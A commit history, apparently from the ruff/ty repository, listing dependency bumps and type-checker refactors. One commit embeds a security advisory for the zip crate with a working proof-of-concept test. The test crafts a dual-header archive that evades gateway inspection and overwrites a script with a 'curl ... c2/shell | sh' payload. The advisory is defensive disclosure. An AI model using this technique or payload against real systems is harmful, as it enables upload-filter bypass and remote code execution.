Commit Graph
158 Commits
Author SHA1 Message Date
Alex Waygood 8f954aad9c Update zip to 9.5.1 and use raw lookups for vendored typeshed (#29816) 2026-11-18 18:13:12 +00:00
renovate[bot]andBrent Westbrook fde7c6debc Update Rust crate zip to v9 (#29808)
This PR contains the following updates:

| Package | Type | Update | Change |
|---|---|---|---|
| [zip](https://redirect.github.com/zip-rs/zip2) |
workspace.dependencies | major | `8.0` → `9.0` |

---

### zip: Critical Parser Differential & Security Control Bypass via
Dual-Header Inconsistencies (Zip Cloaking) Leading to Arbitrary File
Overwrite & RCE
[CVE-2026-115905](https://nvd.nist.gov/vuln/detail/CVE-2026-115905) /
[GHSA-m665-v7pm-7grj](https://redirect.github.com/advisories/GHSA-m665-v7pm-7grj)

<details>
<summary>More information</summary>

#### Details
##### Summary
A critical architectural parser differential exists in the `zip` crate
(`<= 9.0.4`) between random-access archive readers (`ZipArchive`) and
streaming readers (`ZipStreamReader`). `ZipArchive` considers the
Central Directory File Header (CDFH) authoritative and ignores the
filename declared in the Local File Header (LFH). In contrast,
`ZipStreamReader` relies exclusively on the Local File Header (LFH) when
extracting files to the filesystem.

This discrepancy enables ZIP archives to appear to have different file
paths and contents according to which tool is reading them.

---

##### Details

##### Architectural Root Cause
In the PKWARE ZIP archive format, every file entry is defined in two
distinct locations:
1. **Local File Header (LFH):** Precedes the compressed payload of each
file in the body of the archive.
2. **Central Directory File Header (CDFH):** Stored in a contiguous
index at the end of the archive.

In `zip2`:
- `src/read/zip_archive.rs`: `ZipArchive` parses the central directory
into `SharedBuilder.files`. All file lookups by index or name read
exclusively from the CDFH table, completely ignoring the filename
present in the LFH.
- `src/read/stream.rs:L86-L141`: `ZipStreamReader::visit` and
`ZipStreamReader::extract` read sequentially from the stream without
verifying the central directory index. Each entry is parsed via
`read_zipfile_from_stream` and written to disk using the unverified
filename declared in the LFH:
  ```rust
  // src/read/stream.rs
fn visit_file<R: Read>(&mut self, file: &mut ZipFile<'_, R>) ->
ZipResult<()> {
file.safe_prepare_path(&self.outpath, &mut outpath, None::<&(_,
fn(&Path) -> bool)>)?;
      let mut outfile = fs::File::create(&outpath)?;
      io::copy(file, &mut outfile)?;
      Ok(())
  }
  ```
- `src/write.rs:L1552`: The crate explicitly exposes
`shallow_copy_file`, an API that constructs dual-header
desynchronizations by adding a new CDFH entry with an alias name
pointing to an existing file without updating the original LFH.

##### Threat Scenario & Severity Justification (10.0 / 9.9 Critical)
1. **Security Control Evasion:** An adversary crafts a ZIP archive
where:
- Central Directory Header declares: `doc_report.pdf` (Clean document)
- Local File Header declares: `cron_worker.sh` (Malicious root backdoor)
2. The archive is uploaded through a web portal or API endpoint
protected by security gateways (WAF, Anti-Virus, Content Disarm &
Reconstruction). The security gateway inspects the archive using
`ZipArchive` (or similar CDFH-first parsers), detects only
`doc_report.pdf`, and approves the file.
3. The backend worker or cloud function receives the approved archive
and extracts it using `ZipStreamReader::extract`. `ZipStreamReader`
reads the LFH and overwrites `cron_worker.sh`.
4. **Full Compromise (CIA = High):** The legitimate production health
checker / service script is destroyed (**Availability = High / DoS**),
while the attacker's backdoor payload is implanted (**Integrity = High /
RCE**).

---

##### Proof of Concept
The following automated integration test reproducibly demonstrates the
complete CVSS 10.0 / 9.9 exploit chain (Security Gateway Evasion ->
Arbitrary File Overwrite -> RCE & DoS) against `zip2`:

```rust
use std::fs;
use std::io::{Cursor, Write};
use tempfile::tempdir;
use zip::unstable::stream::ZipStreamReader;
use zip::write::SimpleFileOptions;
use zip::{ZipArchive, ZipWriter};

// Simulated Security Gateway (inspects CDFH via ZipArchive)
fn security_gateway_inspection(archive_bytes: &[u8]) -> Result<(), String> {
    let mut archive = ZipArchive::new(Cursor::new(archive_bytes)).unwrap();
    for i in 0..archive.len() {
        let name = archive.by_index(i).unwrap().name().unwrap().to_string();
        if name.ends_with(".sh") || name.ends_with(".exe") {
            return Err(format!("MALWARE DETECTED: '{}' blocked!", name));
        }
        if !name.ends_with(".pdf") {
            return Err("Policy violation: only PDFs allowed!".into());
        }
    }
    Ok(())
}

#[test]
fn test_cvss_9_9_dual_header_exploit_chain() {
    // 1. Victim server setup: existing critical script
    let victim_env = tempdir().unwrap();
    let victim_dir = victim_env.path();
    let target_script = victim_dir.join("cron_worker.sh");
    fs::write(&target_script, b"#!/bin/sh\n# PRODUCTION SERVICE\necho 'SERVICE HEALTHY'\n").unwrap();

    // 2. Attacker crafts Single-Entry Dual-Header Archive
    // LFH: "cron_worker.sh" | CDFH: "doc_report.pdf"
    let mut payload = Cursor::new(Vec::new());
    let mut writer = ZipWriter::new(&mut payload);
    writer.start_file("cron_worker.sh", SimpleFileOptions::default()).unwrap();
    writer.write_all(b"#!/bin/sh\ncurl -s https://c2/shell | sh\necho 'PWNED ROOT'\n").unwrap();
    writer.finish().unwrap();

    let mut malicious_zip = payload.into_inner();
    let cdh = malicious_zip.windows(4).position(|s| s == b"PK\x01\x02").unwrap();
    malicious_zip[cdh + 46..cdh + 46 + 14].copy_from_slice(b"doc_report.pdf");

    // 3. Gateway Inspection (Bypassed!)
    assert!(security_gateway_inspection(&malicious_zip).is_ok());

    // 4. Backend Extraction (ZipStreamReader)
    ZipStreamReader::new(Cursor::new(&malicious_zip)).extract(victim_dir).unwrap();

    // 5. Impact Verification
    let compromised = fs::read_to_string(&target_script).unwrap();
    assert!(!compromised.contains("SERVICE HEALTHY")); // DoS Confirmed
    assert!(compromised.contains("PWNED ROOT"));       // RCE Confirmed
}
```

##### Verified Test Execution Output
```text
running 1 test
==================================================================
Dual-Header Security Gateway Evasion
Exploit Chain: Gateway Evasion -> Arbitrary Overwrite -> RCE & DoS
==================================================================
[VICTIM SERVER STATE - BEFORE ATTACK]
Existing Content:
SERVICE IS RUNNING NORMALLY

--- [STEP 1: SECURITY GATEWAY INSPECTION] ---
[SECURITY GATEWAY] Auditing entry #&#8203;0: 'doc_report.pdf'
[GATEWAY VERDICT]: Ok(())
[VULNERABILITY PROOF 1/3]: Security gateway was 100% BLIND to 'cron_worker.sh'!

--- [STEP 2: BACKEND EXTRACTION (ZipStreamReader)] ---
Backend server unzips approved archive into production directory.

--- [STEP 3: POST-ATTACK IMPACT VERIFICATION] ---
[VICTIM SERVER STATE - AFTER ATTACK]
Compromised Content:
curl -s https://attacker.c2/shell | sh
echo 'PWNED: FULL ROOT TAKEOVER'
```

---

##### Impact
An attacker can construct a crafted archive whose Central Directory
displays a benign filename (doc_report.pdf) that is inspected and
approved by upstream security gateways (antivirus scanners, mail
filters, upload firewalls), while automated backend ingestion pipelines
or microservices using ZipStreamReader extract an arbitrary or malicious
file (overwriting e.g. cron_worker.sh or critical system binaries).
Because an adversary can overwrite existing files on disk, this
vulnerability leads to Security Control Bypass, Arbitrary File
Overwrite, Complete Denial of Service, and Remote Code Execution (RCE)
in situations where a tool relying on the central directory trusts a
tool that relied on the local file headers or vice-versa.

**Who is Impacted:**
- Automated ingestion microservices, SaaS platforms, and backend workers
that extract user-submitted ZIP files.
- Enterprise architectures where security verification (AV scanning,
extension whitelisting) is decoupled from extraction (e.g. gateway
audits Central Directory via CDFH before handing off extraction to
streaming extractors).
- Containerized workloads where overwriting local configuration files or
executable scripts leads to host/container escape and complete service
disruption.

#### Severity
- CVSS Score: 10.0 / 10 (Critical)
- Vector String:
`CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:L`

#### References
-
[https://github.com/zip-rs/zip2/security/advisories/GHSA-m665-v7pm-7grj](https://redirect.github.com/zip-rs/zip2/security/advisories/GHSA-m665-v7pm-7grj)
-
[https://nvd.nist.gov/vuln/detail/CVE-2026-115905](https://nvd.nist.gov/vuln/detail/CVE-2026-115905)
-
[https://github.com/zip-rs/zip2/commit/8068ab480ccf8daa7411424e365fcdbe6d09443e](https://redirect.github.com/zip-rs/zip2/commit/8068ab480ccf8daa7411424e365fcdbe6d09443e)
-
[https://github.com/zip-rs/zip2/releases/tag/v9.0.5](https://redirect.github.com/zip-rs/zip2/releases/tag/v9.0.5)
-
[https://github.com/advisories/GHSA-m665-v7pm-7grj](https://redirect.github.com/advisories/GHSA-m665-v7pm-7grj)

This data is provided by the [GitHub Advisory
Database](https://redirect.github.com/advisories/GHSA-m665-v7pm-7grj)
([CC-BY
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### Release Notes

<details>
<summary>zip-rs/zip2 (zip)</summary>

###
[`v9.0.5`](https://redirect.github.com/zip-rs/zip2/blob/HEAD/CHANGELOG.md#905---2026-10-17)

[Compare
Source](https://redirect.github.com/zip-rs/zip2/compare/v9.0.4...v9.0.5)

##### <!-- 1 -->🐛 Bug Fixes

- use mode_t for fchmodat's mode, which is u32 on NetBSD and OpenBSD
([#&#8203;1076](https://redirect.github.com/zip-rs/zip2/pull/1076))
- *(write)* prevent duplicate 0x9901 AES extra field in raw_copy_file
([#&#8203;1078](https://redirect.github.com/zip-rs/zip2/pull/1078))

##### <!-- 7 -->⚙️ Miscellaneous Tasks

- Enable release-plz on backport branches in future
([#&#8203;1079](https://redirect.github.com/zip-rs/zip2/pull/1079))

###
[`v9.0.4`](https://redirect.github.com/zip-rs/zip2/blob/HEAD/CHANGELOG.md#904---2026-10-16)

[Compare
Source](https://redirect.github.com/zip-rs/zip2/compare/v9.0.3...v9.0.4)

##### <!-- 1 -->🐛 Bug Fixes

- enclosed_name rejects a separator inside one verbatim path component
([#&#8203;1066](https://redirect.github.com/zip-rs/zip2/pull/1066))
- return `Ok(None)` when read_zipfile_from_stream is called on an empty
archive
([#&#8203;1063](https://redirect.github.com/zip-rs/zip2/pull/1063))

##### <!-- 7 -->⚙️ Miscellaneous Tasks

- Revert impl Copy for Zip64CentralDirectoryEndLocator due to failing
semver check, fix CI where most Miri tests weren't running, and other
fixes so other PRs can pass CI
([#&#8203;1065](https://redirect.github.com/zip-rs/zip2/pull/1065))
- update lzma-rust2 and ppmd-rust dependencies
([#&#8203;1060](https://redirect.github.com/zip-rs/zip2/pull/1060))

###
[`v9.0.3`](https://redirect.github.com/zip-rs/zip2/blob/HEAD/CHANGELOG.md#903---2026-10-13)

[Compare
Source](https://redirect.github.com/zip-rs/zip2/compare/9.0.2...v9.0.3)

##### <!-- 1 -->🐛 Bug Fixes

- Preserve directories' read-only status when extracting on non-Unix
systems
([#&#8203;1054](https://redirect.github.com/zip-rs/zip2/pull/1054))

###
[`v9.0.2`](https://redirect.github.com/zip-rs/zip2/blob/HEAD/CHANGELOG.md#902---2026-10-11)

[Compare
Source](https://redirect.github.com/zip-rs/zip2/compare/v9.0.1...9.0.2)

##### <!-- 1 -->🐛 Bug Fixes

- additional bug fixes for symlink extraction

###
[`v9.0.1`](https://redirect.github.com/zip-rs/zip2/blob/HEAD/CHANGELOG.md#901---2026-10-10)

[Compare
Source](https://redirect.github.com/zip-rs/zip2/compare/v9.0.0...v9.0.1)

##### <!-- 1 -->🐛 Bug Fixes

- set_permissions was still following symlinks in non-streaming
extraction
([#&#8203;1038](https://redirect.github.com/zip-rs/zip2/pull/1038))
- two arithmetic overflows in the implode decoder
([#&#8203;1028](https://redirect.github.com/zip-rs/zip2/pull/1028))
- reject an empty archive whose central directory offset is past the
EOCD ([#&#8203;1025](https://redirect.github.com/zip-rs/zip2/pull/1025))
- don't panic when two entries extract to the same path
([#&#8203;1023](https://redirect.github.com/zip-rs/zip2/pull/1023))
- fail reads that exceed the declared uncompressed size
([#&#8203;1022](https://redirect.github.com/zip-rs/zip2/pull/1022))
- shrink decoder skipped LZW code 8191
([#&#8203;1029](https://redirect.github.com/zip-rs/zip2/pull/1029))
- write only the sentinel-marked values in a central ZIP64 field
([#&#8203;1027](https://redirect.github.com/zip-rs/zip2/pull/1027))

###
[`v9.0.0`](https://redirect.github.com/zip-rs/zip2/blob/HEAD/CHANGELOG.md#900---2026-10-08)

[Compare
Source](https://redirect.github.com/zip-rs/zip2/compare/v8.6.0...v9.0.0)

##### <!-- 0 -->🚀 Features

- add ZipFileBuilder for parallelizing compression
([#&#8203;911](https://redirect.github.com/zip-rs/zip2/pull/911))
- add method `by_index_with_data_descriptor`
([#&#8203;994](https://redirect.github.com/zip-rs/zip2/pull/994))
- add len, is_empty and entry to ZipArchiveMetadata
([#&#8203;1015](https://redirect.github.com/zip-rs/zip2/pull/1015))
- read data descriptor from binary
([#&#8203;990](https://redirect.github.com/zip-rs/zip2/pull/990))
- add comment and test for ZipStreamReader and symlinks
([#&#8203;985](https://redirect.github.com/zip-rs/zip2/pull/985))
- *(write)* add `ZipWriter::hide_file` for in-place entry deletion
([#&#8203;924](https://redirect.github.com/zip-rs/zip2/pull/924))
- add compression
([#&#8203;948](https://redirect.github.com/zip-rs/zip2/pull/948))
- add test to in place modification
([#&#8203;945](https://redirect.github.com/zip-rs/zip2/pull/945))
- move CustomExtraField to own file
([#&#8203;941](https://redirect.github.com/zip-rs/zip2/pull/941))
- add a test on enum size
([#&#8203;939](https://redirect.github.com/zip-rs/zip2/pull/939))
- use ZipFileEntry instead of ZipStreamFileMetadata
([#&#8203;935](https://redirect.github.com/zip-rs/zip2/pull/935))
- add ZipFileEntry with no Reader
([#&#8203;933](https://redirect.github.com/zip-rs/zip2/pull/933))
- change `aes_mode` to `aes_settings()` in ZipFileData
([#&#8203;925](https://redirect.github.com/zip-rs/zip2/pull/925))
- cleanup and harmonize extra fields
([#&#8203;923](https://redirect.github.com/zip-rs/zip2/pull/923))
- Rewrite zip64 extra
([#&#8203;913](https://redirect.github.com/zip-rs/zip2/pull/913))

##### <!-- 1 -->🐛 Bug Fixes

- reading an empty AES entry again at EOF returns Ok(0)
([#&#8203;1024](https://redirect.github.com/zip-rs/zip2/pull/1024))
- reject ZIP64 sizes that overflow u64 when computing data end offsets
([#&#8203;1036](https://redirect.github.com/zip-rs/zip2/pull/1036))
- apply central directory metadata in ZipStreamReader, only to written
entries
([#&#8203;1030](https://redirect.github.com/zip-rs/zip2/pull/1030))
- consume the whole extended timestamp field in the central header
([#&#8203;1016](https://redirect.github.com/zip-rs/zip2/pull/1016))
- parse the central header of the extended timestamp
([#&#8203;1002](https://redirect.github.com/zip-rs/zip2/pull/1002))
- don't pre-allocate the declared size in the legacy decoders
([#&#8203;991](https://redirect.github.com/zip-rs/zip2/pull/991))
- Symlink with very large declared size could lead to out-of-memory
panic ([#&#8203;984](https://redirect.github.com/zip-rs/zip2/pull/984))
- copy extra fields in raw_copy_file
([#&#8203;955](https://redirect.github.com/zip-rs/zip2/pull/955))
([#&#8203;982](https://redirect.github.com/zip-rs/zip2/pull/982))
- add unix_mode when copy_raw_file
([#&#8203;981](https://redirect.github.com/zip-rs/zip2/pull/981))
- rewrite documentation of add_symlink_from_path
([#&#8203;979](https://redirect.github.com/zip-rs/zip2/pull/979))
- ignore a ZIP64 extra field that no sentinel asked for
([#&#8203;962](https://redirect.github.com/zip-rs/zip2/pull/962))
- do not set data descriptor if directory
([#&#8203;973](https://redirect.github.com/zip-rs/zip2/pull/973))
- expose flags function for easier access
([#&#8203;972](https://redirect.github.com/zip-rs/zip2/pull/972))
- preserve unix permission in raw_copy_file
([#&#8203;956](https://redirect.github.com/zip-rs/zip2/pull/956))
- clippy warning on nightly
([#&#8203;960](https://redirect.github.com/zip-rs/zip2/pull/960))
- remove extra alloc used to copy
([#&#8203;938](https://redirect.github.com/zip-rs/zip2/pull/938))
- lazy allocation on error case
([#&#8203;937](https://redirect.github.com/zip-rs/zip2/pull/937))
- fix data alignment
([#&#8203;929](https://redirect.github.com/zip-rs/zip2/pull/929))

##### <!-- 2 -->🚜 Refactor

- move extract to own file
([#&#8203;1009](https://redirect.github.com/zip-rs/zip2/pull/1009))
- cleanup permissions related code
([#&#8203;961](https://redirect.github.com/zip-rs/zip2/pull/961))
- remove feature gate
([#&#8203;949](https://redirect.github.com/zip-rs/zip2/pull/949))
- create `ZipFileFlags` to wrap `flags`
([#&#8203;947](https://redirect.github.com/zip-rs/zip2/pull/947))
- remove unused trait
([#&#8203;946](https://redirect.github.com/zip-rs/zip2/pull/946))
- access `crate::format` with `zip::unstable::format`
([#&#8203;944](https://redirect.github.com/zip-rs/zip2/pull/944))
- harmonize functions to `format/functions.rs`
([#&#8203;943](https://redirect.github.com/zip-rs/zip2/pull/943))
- rewrite `make_reader()` function
([#&#8203;936](https://redirect.github.com/zip-rs/zip2/pull/936))
- simplify `initialize_local_block`
([#&#8203;934](https://redirect.github.com/zip-rs/zip2/pull/934))
- move write options to `write/options.rs`
([#&#8203;931](https://redirect.github.com/zip-rs/zip2/pull/931))
- move spec to format
([#&#8203;932](https://redirect.github.com/zip-rs/zip2/pull/932))
- move Magic to format
([#&#8203;930](https://redirect.github.com/zip-rs/zip2/pull/930))
- \[**breaking**] Remove ZipFileData::extra_data_start field that is
never read
([#&#8203;926](https://redirect.github.com/zip-rs/zip2/pull/926))

##### <!-- 7 -->⚙️ Miscellaneous Tasks

- Fix high-level symlink extraction logic, disable some tests in miri,
and fix some typos
([#&#8203;1035](https://redirect.github.com/zip-rs/zip2/pull/1035))

##### Fix

- some permissions tests can only run on Unix
([#&#8203;1000](https://redirect.github.com/zip-rs/zip2/pull/1000))

</details>

---

### Configuration

📅 **Schedule**: (UTC)

- Branch creation
  - At any time (no schedule defined)
- Automerge
  - At any time (no schedule defined)

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/astral-sh/ruff).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0NC4xODguMiIsInVwZGF0ZWRJblZlciI6IjQ0LjE4OC4yIiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6WyJpbnRlcm5hbCIsInNlY3VyaXR5Il19-->

---------

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
Co-authored-by: Brent Westbrook <brentrwestbrook@gmail.com>
2026-10-28 20:25:31 -04:00
Micha Reiser 3e3f22dcc4 Make stacker an opt-in feature (#29505) 2026-10-19 18:02:19 -07:00
renovate[bot]andBrent Westbrook d8d715c9ec Update Rust crate quick-junit to 0.8.0 (#27295)
This PR updates quick-junit to
[v0.8.0](https://github.com/nextest-rs/quick-junit/releases/tag/quick-junit-0.8.0).
The original renovate description of the bump to v0.7.0 is below.

Note that I also had to update `fuzz/Cargo.lock` to get the fuzz build to run:

```console
cargo update --manifest-path fuzz/Cargo.toml thiserror@2.0.18 --precise 2.0.20
```

<hr>

This PR contains the following updates:

| Package | Type | Update | Change | Pending |
|---|---|---|---|---|
| [quick-junit](https://redirect.github.com/nextest-rs/quick-junit) |
workspace.dependencies | minor | `0.6.0` → `0.7.0` | `0.8.0` |

---

<details>
<summary>nextest-rs/quick-junit (quick-junit)</summary>

[`v0.7.0`](https://redirect.github.com/nextest-rs/quick-junit/blob/HEAD/CHANGELOG.md#070---2026-07-20)

[Compare
Source](https://redirect.github.com/nextest-rs/quick-junit/compare/quick-junit-0.6.1...quick-junit-0.7.0)

Skipped test counts are now reported via the `skipped` attribute rather
than `disabled`. For `<testsuite>`, `skipped` matches the [llg
schema](https://llg.cubic.org/docs/junit/) and the Jenkins [junit-10
schema](https://redirect.github.com/jenkinsci/xunit-plugin/blob/master/src/main/resources/org/jenkinsci/plugins/xunit/types/model/xsd/junit-10.xsd),
as well as pytest and Maven Surefire.

- Each `<testsuite>` now emits `skipped="N"`, and the root
`<testsuites>` element now emits an aggregated `skipped="N"` count.
Previously the root didn't carry a skip count at all.
- Root-level `skipped` is a quick-junit extension. It follows the modern
JUnit convention (as documented, for example, by
[testmoapp/junitxml](https://redirect.github.com/testmoapp/junitxml))
and is similar to quick-junit's existing extensions such as `uuid`.
- `TestSuite`'s `disabled` field has been renamed to `skipped`.
- `Report` gains new public `skipped` and `disabled` fields, and
`Report::add_test_suite` now aggregates skip counts into
`Report::skipped`.

`disabled` is now modeled as a separate optional count on both `Report`
and `TestSuite`, distinct from `skipped`. (`disabled` is intended to
count tests that are disabled by design, such as googletest's
`DISABLED_`-prefixed tests. Note, however, that quick-junit doesn't have
a notion of disabled tests at the moment.)

- `Report` is now `#[non_exhaustive]`, consistent with `TestSuite` and
`TestCase`. Construct it via `Report::new` and then assign fields, so
that future field additions are non-breaking.
- Childless `<testsuite>` and `<testcase>` elements are now serialized
as self-closing tags (for example, `<testcase name="my-test"/>` rather
than `<testcase name="my-test"></testcase>`). The output is semantically
identical XML, only more compact and idiomatic. The deserializer already
accepted these self-closing forms, so serializing them means round-trip
tests now cover those parse paths.

</details>

---

📅 **Schedule**: (UTC)

- Branch creation
  - "before 4am on Wednesday"
- Automerge
  - At any time (no schedule defined)

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/astral-sh/ruff).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My4yODAuMCIsInVwZGF0ZWRJblZlciI6IjQ0Ljc5LjEiLCJ0YXJnZXRCcmFuY2giOiJtYWluIiwibGFiZWxzIjpbImludGVybmFsIl19-->

---------

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
Co-authored-by: Brent Westbrook <brentrwestbrook@gmail.com>
2026-10-09 12:26:57 -04:00
Micha Reiser 226201fef0 [ty] Refresh Python settings when virtual environments change (#28650)
## Summary

This PR is a first step towards updating the project's uv metadata when
the virtual environment changes. The scope of this PR is to add the
non-uv specific virtual environment file watching. That is, it adds the
necessary file watching handling to update the detected virtual
environment and its Python version when:

* a `pyenv.cfg` changes
* the default `.venv` or the explicitly specified `environment.python`
virtual environment gets created or deleted.


Unfortunately, this does require storing the path to the resolved
virtual environment in `ProgramSettings`. Otherwise, we'd have to
resolve it every time we see a related file watcher event. It's
unfortunate because it doesn't feel like a setting. But there isn't
really any better to carry forward this information.


I recommend reviewing this PR commit by commit.


## Test Plan

Native file-watching regression tests pass.
2026-09-27 18:48:09 +02:00
Micha Reiser c890b04e57 [ty] Update Salsa to 0.28.5 (#28856) 2026-09-24 12:26:55 +02:00
renovate[bot] 06feea3cd7 Update Rust crate similar to v3.2.0 (#28809) 2026-09-23 08:32:30 +02:00
William WoodruffandAlex Waygood 91a07f5e2d Lift cargo-fuzz into astral-dev-toolchain (#28200)
## Summary

Continues #28197 by lifting `cargo-fuzz` into the dev toolchain.

<!-- What's the purpose of the change? What does it do, and why? -->

## Test Plan

NFC, internal only. I confirmed that `./init-fuzzer.sh` still runs as
expected. I'm less positive about the CI changes.

<!-- How was it tested? -->

---------

Signed-off-by: William Woodruff <william@yossarian.net>
Co-authored-by: Alex Waygood <Alex.Waygood@Gmail.com>
2026-08-31 20:34:06 +00:00
Zsolt Dollenstein f4839591d6 [ty] Add a missing-direct-dependency rule (#28001)
This PR replaces #25027. It adds an opt-in check for imports of
installed distributions that the current project does not declare
directly in `pyproject.toml`.

## Overview

The check uses ty's existing uv workspace integration (`TY_UV=1`) to
call `uv workspace metadata --frozen --active`. uv now provides module
ownership without synchronizing the environment, so ty can read the
metadata without installing packages or updating `uv.lock`.

The metadata provides:

1. Each workspace project's runtime and optional dependencies.
2. Dependencies declared in dependency groups.
3. Importable modules and their owning distributions, including source
paths for editable installs.

During import inference, ty maps each resolved import to its
distribution and compares it against the importing project's direct
declarations. If the declaration is missing, ty emits
`missing-direct-dependency`, naming the distribution to add. Each
distribution is reported once per file, at its first unsuppressed
import.

The rule is disabled by default and requires an existing, synchronized
environment. Unavailable or incompatible dependency metadata disables
the check; rejected dependency metadata produces a debug message.

## Nuances

- Editable installs may lack entries in uv's module-owner map. ty uses
their source paths to attribute resolved imports.
- Files identified as package code require runtime or optional
dependencies. Non-package files, such as tests and scripts, can also use
dependency groups, but those groups' transitive dependencies still need
direct declarations.
- For `from package import child`, a resolved child module is checked
against its own distribution rather than the parent's. Imports with
unknown or ambiguous ownership are skipped.
- Ownership metadata is used only when the explicitly selected Python
environment matches uv's environment.
- The current integration covers directory checks. Explicit file
arguments, `--config-file`, and standalone PEP 723 scripts do not use
the workspace's dependency declarations.

The schema and rule documentation are regenerated. Most of the
rule-documentation diff consists of updated source-line links.
2026-08-28 14:01:44 +00:00
konsti b169b40235 Install cargo tools locked (#27929) 2026-08-20 09:11:02 -04:00
renovate[bot] 25e915447e Update Rust crate similar to v3.1.2 (#27679) 2026-08-12 07:42:19 +02:00
Micha Reiser 3e628b8ef0 [ty] Update Salsa to 0.28.2 (#27496) 2026-08-05 08:39:56 +02:00
Micha Reiser e87ddc00ea [ty] Move Python version source out of Program (#27434)
## Summary

`PythonVersionWithSource` contains from where ty derived the
`PythonVersion`. If the Python version comes from the project's
`pyproject.toml`, then the source includes the configuration file name
and the text range of the `requires-python` or `python-version`
key-value pair. Any change to that `pyproject.toml` would result in a
new and different `PythonVersionWithSource`, which, in turn, results in
a distinct interned `Program`. This results in invalidating every single
type inference query (more accurately, we now get a new instance of each
type inference query, but we loose all cached results).

Storing `PythonVersionWithSource` also has the downside that it prevents
scripts that otherwise have identical `Program` settings to share the
same `Program`, only because their `python-version` comes from different
script metadata blocks.

This PR moves `PythonVersionWithSource` out of `Program`. `Program`
should only contain information that changes type inference.
`PythonVersionWithSource` does not. `Db` now has a new
`python_version_with_source` method that, given a file, returns the
source for it (A script can return a different source than a project
file).

## Test Plan

Testing: Semantic, project, core, server, Markdown, and corpus tests
pass; repository hooks pass.
2026-08-04 08:51:18 +02:00
Micha Reiser aa5b04ad92 [ty] Support different type inference settings in a single Salsa DB (#27152)
## Summary

This is the last PR that adds support for type checking multiple
programs with different Python Version, search paths, and platform using
a single Salsa DB.


This PR changes `Program` from a singleton input to an interned struct.
`ProgramFile` changes from `(File, ResolverEnvironment)` to `(File,
Program)`.

Changing `Program` from an input to an interned means that it now has a
`'db` lifetime. This requires changing how we construct and store
`Program`. That's why some of the db initialization code changes.

I doubt that it will be noticeable. But this should speed up mdtests
that contain tests with different Python versions (e.g. Py312, Py311,
Py312, Py311), because we now reuse parsed modules, and even type
inference results because the inference is now keyed by Program (instead
of updating an existing Program)

## Memory regression

I had codex look into the CodSpeed reported memory regression. The
reason is that `Program` now being an interned and being initialized
later changes the assigned `File` ids, which in turn changes in which
order we iterate over the project files. And this change the max peak
memory usage. It can also change the usage reported on the memory usage
report (we enter fixpoint cycles from different heads, etc).

The changes in the memory report are mainly from the new
`ProgramFile::python_version` (needed to mitigate a larger regression,
but we can reconsider), and that `Project` now stores `ProgramSettings`.
2026-08-04 08:51:18 +02:00
Micha Reiser 95734a549e [ty] Make module resolution environment-aware (#27128)
## Summary

This PR continues the refactor to make type inference and module
resolution support scripts that may have different settings than the
main project.

This PR introduces:

* `ResolverEnvironment(SearchPaths, PythonVersion)`: Uniquely identifies
the settings used to resolve a module
* `ResolverFile(File, ResolverEnvironment)`: A file with its
`ResolverEnvironment`. Used for desperate module resolution and
`module_to_file` (and all other places where the operation doesn't
depend on type-inference specific settings).


This PR also `ProgramFile` and updates the `Program` alias to point to
`ResolverEnvironment`. These changes are in preparation to reduce the
diff of the third PR (we don't want to rewrite all `python_file` call
sites to `resolver_file` to then rename them to `program_file`).

## Memory regression

This PR changes `Program` from `PythonVersion` (u16) to
`ResolverEnvironment` (u64). This increases the size of interned structs
and interned query arguments that contain `Program`. Memory usage is
still lower than before we made db `Program` aware (the base PR reduced
memory usage by about 1%).

## Test Plan

Testing: Ran workspace checks, resolver/core/semantic/IDE tests, and
repository hooks, including cross-version inference coverage.
2026-08-04 08:51:17 +02:00
Micha Reiser f78d51606f [ty] Make parsed modules Python-version aware (#26856)
## Summary

This is the first PR out of 3. It extends `ty_python_semantic` and lower
crates to support checking files that use different Python versions
while using a single Salsa db.

The motivation for supporting different Python versions is that scrolls
need to be checked independently. Initially, I planned to implement
scroll support in a similar way to how we support multiple workspace
folders in VS Code by using multiple dbs, but it turned out, that
they're different enough. The main difference is that scrolls are
checked as part of their enclosing project, and the diagnostics from
scrolls are merged with the diagnostics from the project. If we used
separate scroll dbs, then the scroll diagnostics would use `File`s
pointing into the scroll db and all other diagnostics would use `File`s
pointing into the main db. There's nothing that would allow us to tell
to which db any such `File`s belonged, and `File`s from different dbs
can even share the same value. There's also no lifetime that binds them
to one particular db because they're inputs. We could have decided to
rewrite the `Diagnostic`s for scrolls and convert the scroll db `File`s
to project db `File`s, but that felt very brittle. The other
disadvantage was that it became very difficult to tell which query is
cached because you now also need to reason about whether the current
query is cached for a specific argument and db (and not just the
argument).

This is why I decided to explore whether we could support checking files
with different Python version, search paths, and platforms, and this PR
is the first step towards this. It adds support for checking files with
different Python versions. Specifically, this PR removes the
`db.python_version` from `ruff_db::Db` and lifts it up to
`ty_project::Db`, proving that no semantic crate depends on it.

The first step is to make `parsed_module` Python version aware. That is,
instead of calling `db.python_version`, parametrize the query by file
and Python version. For this, I introduced a new `PythonFile` which is a
`(File, PythonVersion)` tuple. We now attach this `PythonFile` to
`Scope` (instead of `File`), because `::node` accessors need it to
retrieve their node. That in turn required `semantic_index` to take a
`PythonFile` instead of `File` as well. This was a mostly smooth ride.

Supporting multiple Python versions in the module resolver required
adding a `PythonVersion` argument to most queries. The next PR will
replace the `PythonVersion` with a new `ResolverSettings` (or similar
